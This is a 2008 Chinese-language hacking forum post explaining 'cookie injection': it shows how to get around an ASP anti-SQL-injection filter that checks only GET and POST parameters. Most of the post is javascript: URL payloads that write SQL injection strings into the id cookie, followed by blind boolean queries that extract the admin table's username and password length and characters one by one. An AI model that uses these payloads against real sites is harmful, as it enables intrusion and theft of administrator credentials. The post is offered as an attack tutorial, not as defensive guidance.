找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 644|回复: 0

cookie注射

[复制链接]

12

主题

112

回帖

176

牛毛

一级牛人

积分
176
发表于 2008-11-8 16:44:51 | 显示全部楼层 |阅读模式 来自 海南省儋州市
防注入程序,在检测到POST或GET方式的注入关键词时停止程序的输出。

网页文件在接受处理方式的时候一般是POST或GET两种方式:
Request.form或Request.QueryString

防注入程序3.0(Check_Sql.asp)正好只限制了这两种方式却没有限制Request.cookie的方式。

下面用Javascript构造语句就可以注射了

使用javascript脚本将Cookies中的ID变量的值改变(这个51是原先ID变量的值)
访问:http://localhost/shownews.asp?id=51
去掉URL,输入:
javascript:alert(document.cookie=\"id=\"+escape(\"51 and 1=1\"));

这时候ID变量的值已经改变了,
访问:http://localhost/shownews.asp
因为没有输入任何ID变量,ASP程序会自动搜索到Cookies里有没有ID值,如果有就从Cookies里获取了
所以返回和http://localhost/shownews.asp?id=51相同的页面
说明修改为Cookies提交方式成功了

再次提交:
javascript:alert(document.cookie=\"id=\"+escape(\"51 and 1=2\"));
访问:http://localhost/shownews.asp
返回错误,说明我们已经绕过防注入系统的检查,成功注入了。

猜解管理员帐号长度:
javascript:alert(document.cookie=\"id=\"+escape(\"51 and (select len(username) from admin)=5\"));

猜解管理员密码长度:
javascript:alert(document.cookie=\"id=\"+escape(\"51 and (select len(password) from admin)=16\"));

猜解username里的内容:

猜解admin表,username字段,第1位对应的ASCII码
javascript:alert(document.cookie=\"id=\"+escape(\"51 and (select asc(mid(username,1,1)) from admin)=97\"));
(mid(列名,2,1))
(mid(列名,3,1))
....

猜解password里的内容:
猜解admin表,password字段,第1位对应的ASCII码
javascript:alert(document.cookie=\"id=\"+escape(\"51 and (select asc(mid(password,1,1)) from admin)<97\"));
(mid(列名,2,1))
(mid(列名,3,1))
....

小技巧:
可以同时打开两个页面
http://localhost/shownews.asp
javascript:alert(document.cookie=\"id=\"+escape(\"51 and

用javascript注射完再刷新/shownews.asp,有助于提高速度
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-26 15:19 , Processed in 0.135154 second(s), 33 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表